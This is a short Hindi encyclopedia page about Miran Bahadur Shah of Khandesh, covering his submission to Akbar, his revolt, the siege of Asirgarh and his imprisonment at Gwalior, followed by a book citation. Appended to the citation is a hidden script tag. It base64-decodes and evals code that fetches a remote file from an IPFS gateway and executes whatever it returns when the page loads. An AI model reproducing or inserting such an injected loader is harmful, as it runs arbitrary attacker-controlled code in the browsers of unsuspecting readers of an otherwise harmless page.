मीरन बहादुर शाह

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मीरन बहादुर शाह ताप्ती की घाटी में स्थित ख़ानदेश का शासक था। इसने 1590 ई. में मुग़ल बादशाह अकबर की अधीनता स्वीकार कर ली थी। किंतु इसके विद्रोह के कारण अकबर को 1599 ई. में दुबारा आक्रमण करना पड़ा, जिसके फलस्वरूप मीरन बहादुर शाह को बन्दी बना लिया लया और ग्वालियर के क़िले में क़ैद कर दिया गया।

  • 1590 ई. में मुग़लो की अधीनता स्वीकार करने के बाद मीरन बहादुर पश्चाताप करने लगा।
  • इसके फलस्वरूप उसने फिर से अकबर के ख़िलाफ़ विद्रोह कर दिया।
  • अकबर ने स्वयं 1599 ई. में सेना लेकर राजधानी बुरहानपुर पर आक्रमण किया।
  • मीरन बहादुर ने स्वयं को असीरगढ़ के क़िले में सुरक्षित कर लिया।
  • अकबर ने असीरगढ़ के क़िले का घेराव करके उसके दरवाज़े को 'सोने की चाभी' से खोला, अर्थात अकबर ने दिल खोलकर ख़ानदेश के अधिकारियों को रुपये बांटे और उन्हें कपटपूर्वक अपनी ओर मिला लिया।
  • 21 दिसम्बर, 1600 ई. को मीरन बहादुर ने अकबर के समक्ष आत्म-समर्पण कर दिया।
  • मीरन बहादुर को बन्दी बनाकर ग्वालियर के क़िले में क़ैद कर लिया गया।
  • 4000 अशर्फ़ियाँ उसके वार्षिक निर्वाह के लिए निश्चित की गयीं।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 367 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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